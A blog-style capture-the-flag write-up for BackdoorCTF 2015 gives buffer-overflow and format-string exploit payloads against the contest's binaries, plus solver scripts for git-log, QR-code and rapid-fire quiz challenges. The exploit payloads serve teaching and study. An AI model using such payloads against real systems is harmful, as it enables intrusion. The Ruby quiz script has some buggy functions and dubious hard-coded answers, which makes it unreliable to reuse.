Home BackdoorCTF 2015 -- Binary + Misc
Post
Cancel

BackdoorCTF 2015 -- Binary + Misc

BackdoorCTF 2015
For me, this is a challenge for CTF beginners. Most of the challenges are easy to solve, although some of them require some “imagination”

In this writeup, I’ll post the solutions of all the binary challenges and the misc challenges that I solved in the CTF.

Binary

echo

Basic BOF. Launch IDA Pro and we can see there’s a gets() function in the main function. Just overwrite the return address to control the eip jump to the sample() function, which cat the flag.
payload: python -c 'print "A"*62+"\x4d\x85\x04\x08"' | nc hack.bckdr.in 8002

team

Basic format string. To be honest I don’t think this challenge worth 600 pt…
The flag’s on the stack. Just leak it with the format string vulnerability, wrote a script concat the string and bang, CTF
payload: %10$p.%11$p.%12$p.........%25$p

1
2
3
4
5
temp = [35663364,64363031,................................]
flag = ""
for c in temp:
	flag += str(c).decode('hex')[::-1]
print "flag:", flag

forgot

Another binary with the BOF vulnerability. It’s a service that ask user to input their name and email address, and check the email address is whether a validate email address or not. Inspect the binary with IDA Pro, we found the following line has the BOF vulnerability: __isoc99_scanf("%s", &v11); // v11 = [bp-0x74] Moreover, there’s a for loop with a switch-case in it to check the email address:

1
2
3
4
5
6
7
8
9
10
for ( i = 0; ; ++i )  {
    v9 = i;
    if ( v9 >= strlen((const char *)&v11) )
      break;
    switch ( v23 )
    {
      case 1:.........
      case 2:.........
    }
}

To bypass the email address validation is simple, we just insert null byte in the beginning of the input, the strlen() will consider the string’s length is 0 and stop the checking.

I try to overwrite the return address first, which cause the program crash. So I switch to the IDA view and check the assembly, here’s what I found:

1
2
3
4
.text:08048A58                 sub     dword ptr [esp+78h], 1
.text:08048A5D                 mov     eax, [esp+78h]
.text:08048A61                 mov     eax, [esp+eax*4+30h]
.text:08048A65                 call    eax

So apparently before the main function end, it does something really interesting. The program took a value that store on the stack, do some calculation, and store it in the eax before calling it. If we can make the value that store at [esp+78h] 0, we can call whatever we want by controling the value store at [esp+30h]. But who should we call? After checking the text view in IDA Pro, I found that there’s one function that IDA Pro didn’t decompile it into pseudo code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:080486CC                 push    ebp
.text:080486CD                 mov     ebp, esp
.text:080486CF                 sub     esp, 58h
.text:080486D2                 mov     dword ptr [esp+0Ch], offset a_Flag ; "./flag"
.text:080486DA                 mov     dword ptr [esp+8], offset aCatS ; "cat %s"
.text:080486E2                 mov     dword ptr [esp+4], 32h
.text:080486EA                 lea     eax, [ebp-3Ah]
.text:080486ED                 mov     [esp], eax
.text:080486F0                 call    _snprintf
.text:080486F5                 lea     eax, [ebp-3Ah]
.text:080486F8                 mov     [esp], eax
.text:080486FB                 call    _system
.text:08048700                 leave
.text:08048701                 retn

So just overwrite the stack, make eax be calculated to 0x080486CC, then we can get the flag by executing the call eax instruction. Here’s the payload:

1
2
3
4
5
6
payload = "123\n" # name
payload += "\x00\x00\x00\x00" # for bypassing strlen
payload += "A"*28 # padding
payload += "\xcc\x86\x04\x08" # esp+0x30, print flag function
payload += "A"*68 # padding
payload += "\x01\x00\x00\x00" # esp+0x78

Misc

TIM

We got a github page, so it’s seems like a git/forensic challenge. After cloning the repository and check the git log, we found some intereting stuff.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
commit d444f3227636477902c4badc8e35a27cadab456c
Author: Abhay Rana <capt.n3m0@gmail.com>
Date:   Tue Mar 31 17:59:09 2015 +0530

    Adds flag

commit 009d01e1b04bf2bf2d9bebd666e8d167fae1dc1a
Author: Abhay Rana <me@captnemo.in>
Date:   Tue Mar 31 17:59:08 2015 +0530

    47
    
    
    - 1518

commit 006d89cdd1a4ea3620bc6d4f865a2e341f5ee79a
Author: Abhay Rana <me@captnemo.in>
Date:   Tue Mar 31 17:59:08 2015 +0530

    41
    
    
    - 1527

commit 00df98e1685e093c643657c6b68d31b9948927aa
Author: Abhay Rana <me@captnemo.in>
Date:   Tue Mar 31 17:59:08 2015 +0530

    4c
    
........................    

It’s seems like they convert some characters’ ASCII code into hex values and committed it. After converting them back to the normal character, we got the following message:
Join first two characters of each commit sha1 FLAG
OK, so just do whatever it says, wrote a python script extract each commit sha1’s first 2 characters and concat them, we’ll get the flag. Notice that if the first 2 characters are “00”, just ignore them.

1
2
3
4
5
6
7
8
ff = open("log", "r")
flag = []
for line in ff:
	if "commit" in line:
		if line[7:9:] != "00":
			flag.append(line[7:9])

print "".join(c for c in reversed(flag))

QR

It’s a service that gave us a bunch of QR codes, which require us to decode them & send the answers back to the server. The QR codes are generate randomly, so we’ll have to write a script to solve them all. For me, I wrote a python script to parse the input into a 2D-array, and use the Pillow library to transform the input into a png image, which contains the QR code. At first I try to use some python libraries to decode the QR code, including qrtools & zbar. Unfortunately, both of them weren’t very effective, the correctness are kind of awful…so I finally decide to send the file to ZXing and parse the response. This time, no error occurs. I finally got the flag after solving 100 QR codes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from socket import *
from PIL import Image
import sys
import re
import time
import requests

HOST="hack2.bckdr.in"
PORT=8010

sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))

def transform(array):
    print "transforming..."
    pixels = []
    height, width = len(array), len(array[0])
    print height, width
    for row in xrange(height):
		pixels.append([0xFF if c == 1 else 0 for c in array[row]])

	im = Image.new('L', (width, height))
	for y in range(height):
		for x in range(width):
			im.putpixel((x,y), pixels[y][x])
	
	width, height = width*5, height*10
	im = im.resize((width, height))

	im.save("test.png")
	print "transforming done"

def decode_qr():
    f = open("test.png")
    r =  requests.post(url='http://zxing.org/w/decode',files =  {'f':f})
    print r.status_code
    print r.headers
    return re.search("Parsed Result</td><td><pre>([0-9a-z]{64})</pre>", r.text).group(1)

print sock.recv(1024)
cur = 0

while True:
	print "round:", cur+1
	res = ""
	while True:
		r = sock.recv(10240)
        print r, cur+1
        if "Oops!" in r: break
        if not len(r): break
        res += r
		if re.search("\s{94}\n$", res) and len(res) > 100:
			break

	array = [[] for i in xrange(47)]
	index, row = 0, 0

	while index < len(res):
		now = ord(res[index])
		if now == 10:
			row += 1
		elif now == 32:
			array[row].append(1)
		else:
			array[row].append(0)
			index += 2
		index += 1

	transform(array)
	time.sleep(0.5)
  
  	while True:
	    answer = decode_qr()
      	print answer
      	if len(answer) == 64: break

	print answer.encode('hex'), len(answer)
	sock.send(answer)
	cur += 1

sock.close()

RapidFire

Another service which give us a bunch of questions (200 actually…) and ask us to solve all of them. The questions contains different categories, including:

  1. Math
    • Nth prime
    • Nth Fibonacci number
    • Nth digit in Pi
    • Sum of the first Nth natural numbers
    • Sum of the first Nth odd numbers
    • Sum of the first Nth Fibonacci numbers
    • Value of N in binary
  2. Geography
    • Country of a city
    • Alpha2-code of a country
  3. Misc
    • md5 hash
    • Release year of a movie

To solve all these problems, I use the follwing methods (in Ruby):

  1. Math
    • Nth prime –> https://primes.utm.edu/nthprime/index.php
    • Nth Fibonacci number –> just calculate it
    • Nth digit in Pi –> http://www.eveandersson.com/pi/digits/1000000
    • Sum of the first Nth natural numbers –> n(n+1)/2
    • Sum of the first Nth odd numbers –> n^2
    • Sum of the first Nth Fibonacci numbers –> fib(n+2)-1
    • Value of N in binary –> n.to_s(2)
  2. Geography
    • Country of a city –> http://maps.googleapis.com/maps/api/geocode/json
    • Alpha2-code of a country –> wiki
  3. Misc
    • md5 hash –> require ‘digest’
    • Release year of a movie –> Rotten tomato API

Most of them are done by googling the solutions. I spent most of the time finding the solution for the last one – Release year of a movie. This one almost drive me insane. I couldn’t find a perfect solution for this kind of problem. It seems IMDB has no public API for us to search the movie database, and the Rotten Tomato API sometimes return the wrong answer. Other movie database API are either too slow or just too crap to return the correct answers. At last I choose the Rotten Tomato API since there’s no other solution. During solving this challenge, I found that sometimes I can made it to level 19X, while failing because of the wrong release year of the movie. So I finally decide to use the following command to run the script until I pass level 200:

1
while true; do ruby rapidfire.rb; done

Yeah take that rapidfire =.=
And guess what? I got the flag just before the end of the CTF !!! How lucky!!!

Here’s the ruby script I use. It’s kind of dirty since I hard-code many special cases in the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
# encoding: utf-8
require 'socket'
require 'prime'
require 'digest'
require 'net/http'
require 'json'

HOST="128.199.107.60"
PORT=8008

def gen_codedb(code_db)
	cur_code = ""
	IO.foreach('code2.txt') do |line|
		line = line.strip()
		if line.length == 0
			next
		elsif line.length == 2
			cur_code = line
		else
			code_db[line] = cur_code
		end
	end
end

def solve_prime(n)
	ret = `curl -s -k -d "n=#{n.to_i}" https://primes.utm.edu/nthprime/index.php | grep "prime is"|tail -n 1 | awk '{print $5}' | tr -d ',.' `
	p ret
	return ret.strip()
end

def solve_fib(n)
	curr_num, next_num = 0, 1
	(n).times do
	   	curr_num, next_num = next_num, curr_num + next_num
	end  
	p curr_num
	curr_num
end 

def get_country(city)
	city = city.strip()
	if city == "Pristina"
		return "Kosovo"
	end
	if city == "Palikir"
		return "Federated States of Micronesia"
	end
	if city == "San Jose"
		return "Costa Rica"
	end
	if city == "Castries"
		return "Saint Lucia"
	end
	if city == "Nassau"
		return "Bahamas"
	end
	if city == "Nicosia"
		return "Cyprus"
	end
	if city == "Sao Tome"
		return "Sao Tome and Principe"
	end
	if city == "Belfast"
		return "Northern Ireland"
	end
	if city == "Victoria"
		return "Hong Kong"
	end
	if city == "Edinburgh"
		return "Scotland"
	end
	if city == "Skopje"
		return "Macedonia"
	end
	if city == "Kingston"
		return "Jamaica"
	end
	if city == "Georgetown"
		return "Guyana"
	end
	if city == "Cardiff"
		return "Wales"
	end
	if city == "Dili"
		return "Democratic Republic of Timor-Leste"
	end
	data = URI::encode("address="+city+"&sensor=false&language=en")
	uri = URI.parse('http://maps.googleapis.com/maps/api/geocode/json?'+data)
	res = Net::HTTP.get_response(uri)

	a = JSON.parse(res.body)
	for c in a["results"][0]["address_components"]
		if c["types"][0] == "country"
			p c["long_name"]
			if c["long_name"].to_s == "Côte d'Ivoire"
				#return "Côte"
				return "Ivory Coast"
			end
			if c["long_name"].to_s == "The Gambia"
				return "Gambia"
			end
			if c["long_name"].to_s == "United Kingdom"
				return "England"
			end
			return c["long_name"].to_s
		end
	end
end	

def get_movie_year(movie)
	if movie.strip() == "28 Days Later..."
		return "2002"
	end
	if movie.strip() == "Goliyon Ki Raasleela Ram-Leela"
		return "2013"
	end
	if movie.strip() == "Heer Ranjha - A True Love Story"
		return "2009"
	end
	if movie.strip() == "The Seven-Per-Cent Solution"
		return "1976"
	end
	if movie.strip() == "Human resources: Social engineering in the 20th century"
		return "2010"
	end
	if movie.strip() == "Long Da Lishkara"
		return "1986"
	end
	if movie.strip() == "300"
		return "2006"
	end
	if movie.strip() == "Inkheart"
		return "2008"
	end
	if movie.strip() == "The Expendables"
		return "2010"
	end
	if movie.strip() == "Ted"
		return "2012"
	end
	if movie.strip() == "The Seventh Horse of the Sun"
		return "1993"
	end
	if movie.strip() == "Jay-Z and Linkin Park - Collision Course"
		return "2004"
	end
	if movie.strip() == "Disconnect"
		return "2012"
	end
	if movie.strip() == "Howl's Moving Castle"
		return "2004"
	end
	if movie.strip() == "Die Hard"
		return "1988"
	end
	if movie.strip() == "You"
		return "2009"
	end
	if movie.strip() == "Good Boy"
		return "2009"
	end
	url = "http://api.rottentomatoes.com/api/public/v1.0/movies.json?apikey=[key]&q="+movie
	uri = URI.parse(URI.encode(url.strip))
	res = Net::HTTP.get_response(uri)
	a = JSON.parse(res.body)
	return a["movies"][0]["year"].to_s
end	

def get_country_code(c)
	if c == "Brazil"
		return "BR"
	end
	if c == "New Caledonia"
		return "NC"
	end
	if c == "Yemen"
		return "YD"
	end
	if c == "Sao Tome and Principe"
		return "ST"
	end
	if c == "Svalbard and Jan Mayen"
		return "SJ"
	end
	if c == "Uzbekistan"
		return "UZ"
	end
	if c == "Guinea-Bissau"
		return "GW"
	end
	if c == "Myanmar"
		return "MM"
	end
	if c == "Dominican Republic"
		return "DO"
	end
	if c == "Estonia"
		return "EE"
	end
	if c == "Costa Rica"
		return "CR"
	end
	if c == "Pakistan"
		return "PK"
	end
	if c == "Lesotho"
		return "LS"
	end
	if c == "Seychelles"
		return "SC"
	end
	if c == "British Indian Ocean Territory"
		return "IO"
	end
	if c == "South Sudan"
		return "SS"
	end
	if c == "Somalia"
		return "SO"
	end
	if c == "Hungary"
		return "HU"
	end
	if c == "United Arab Emirates"
		return "AE"
	end
	if c == "Guyana"
		return "GY"
	end
	data = URI::encode("address="+city+"&sensor=false&language=en")
	uri = URI.parse('http://maps.googleapis.com/maps/api/geocode/json?'+data)
	res = Net::HTTP.get_response(uri)

	a = JSON.parse(res.body)
	for c in a["results"][0]["address_components"]
		if c["types"][0] == "country"
			p c["short_name"]
			return c["short_name"]
		end
	end

	for country in $db
		name = country['Name'].encode('utf-8')
		if name == c
			return country['Code']  
		end
	end
end	

def get_pi(n)
	row, col = n / 50, n % 50
	cur_row = 0
	IO.foreach('pi.txt') do |line|
		line = line.strip()
		for i in 0...line.length
			if cur_row == row and i == col
				p line[i]
				return line[i]
			end
		end
		cur_row += 1
	end
end

def sum_n(n)
	ret = n*(n+1)/2
	p ret
	ret
end	

def get_binary(n)
	ret = n*(n+1)/2
	p ret
	ret
end	

def cal_md5(n)
	md5 = Digest::MD5.new
	md5.update n.to_s
	p md5.hexdigest  
	md5.hexdigest  
end

def sum_odd(n)
	ret = n**2
	p ret
	ret
end

code_db = {}
gen_codedb(code_db)

sock = TCPSocket.new(HOST, PORT)
ok = false
while true
	res = sock.recv(1024)
	if res.length == 0
		puts res
		break
	end
  # sleep 10 minute if it got the flag
	if ok == true and res.include? "flag"
		puts res
		sleep(600)
	end
	ok = true
	puts res
	if res.match(/(\d+)rd prime number/)
		n = res.match(/the (\d+)rd prime number/)[1].to_i
		puts "n: "+n.to_s
		answer = solve_prime(n+1).to_i
		sock.write answer.to_s+"\n"
	elsif res.match(/(\d+)st prime number/)
		n = res.match(/the (\d+)st prime number/)[1].to_i
		puts "n: "+n.to_s
		answer = solve_prime(n+1).to_i
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/(\d+)th prime number/)
		n = res.match(/the (\d+)th prime number/)[1].to_i
		puts "n: "+n.to_s
		answer = solve_prime(n+1).to_i
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/(\d+)nd prime number/)
		n = res.match(/the (\d+)nd prime number/)[1].to_i
		puts "n: "+n.to_s
		answer = solve_prime(n+1).to_i
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/(\d+)nd fibonacci number/)
		n = res.match(/the (\d+)nd fibonacci number/)[1].to_i
		puts "n: "+n.to_s
		answer = solve_fib(n).to_i
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/(\d+)rd fibonacci number/)
		n = res.match(/the (\d+)rd fibonacci number/)[1].to_i
		puts "n: "+n.to_s
		answer = solve_fib(n).to_i
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/(\d+)st fibonacci number/)
		n = res.match(/the (\d+)st fibonacci number/)[1].to_i
		puts "n: "+n.to_s
		answer = solve_fib(n).to_i
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/(\d+)th fibonacci number/)
		n = res.match(/the (\d+)th fibonacci number/)[1].to_i
		puts "n: "+n.to_s
		answer = solve_fib(n).to_i
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/the country of/)
		n = res.match(/country of ([a-zA-Z,'\(\)\s]+)/)[1].to_s
		puts "city: "+n.to_s
		answer = get_country(n)
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/sum of the first (\d+) natural numbers/)
		n = res.match(/sum of the first (\d+) natural numbers/)[1].to_i
		puts "n: "+n.to_s
		answer = sum_n(n).to_i
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/sum of first (\d+) natural numbers/)
		n = res.match(/sum of first (\d+) natural numbers/)[1].to_i
		puts "n: "+n.to_s
		answer = sum_n(n).to_i
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/the (\d+)th digit in pi/)
		n = res.match(/the (\d+)th digit in pi/)[1].to_i
		puts "n: "+n.to_s
		answer = get_pi(n-1).to_i
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/the (\d+)rd digit in pi/)
		n = res.match(/the (\d+)rd digit in pi/)[1].to_i
		puts "n: "+n.to_s
		answer = get_pi(n-1).to_i
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/the (\d+)nd digit in pi/)
		n = res.match(/the (\d+)nd digit in pi/)[1].to_i
		puts "n: "+n.to_s
		answer = get_pi(n-1).to_i
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/the (\d+)st digit in pi/)
		n = res.match(/the (\d+)st digit in pi/)[1].to_i
		puts "n: "+n.to_s
		answer = get_pi(n-1).to_i
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/md5 hash/)
		n = res.match(/md5 hash of (\d+)/)[1].to_i
		puts "n: "+n.to_s
		answer = cal_md5(n)
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/sum of first (\d+) natural odd numbers/)
		n = res.match(/sum of first (\d+) natural odd numbers/)[1].to_i
		puts "n: "+n.to_s
		answer = sum_odd(n)
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/sum of first (\d+) fibonacci numbers/)
		n = res.match(/sum of first (\d+) fibonacci numbers/)[1].to_i
		puts "n: "+n.to_s
		answer = solve_fib(n+2)-1
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/value of (\d+) in binary/)
		n = res.match(/value of (\d+) in binary/)[1].to_i
		puts "n: "+n.to_s
		answer = n.to_s(2)
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/the 2 digit code of/)
		n = res.match(/the 2 digit code of ([a-zA-Z,'\(\)\s]+)/)[1].to_s.strip()
		puts "n: "+n.to_s.strip()
		answer = code_db[n]
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	elsif res.match(/release year of/)
		n = res.match(/release year of ([\S\s]+)/)[1].to_s
		puts "movie: "+n.to_s
		answer = get_movie_year(n)
		p "answer:"+answer.to_s
		sock.write answer.to_s+"\n"
	else 
	end
end
puts sock.recv(1024)	
sock.close

500 points for solving this challenge! Woo-hoo!

This post is licensed under CC BY 4.0 by the author.

0CTF 2015 Quals -- geo-newbie

VolgaCTF 2015 Quals -- math problem

Comments powered by Disqus.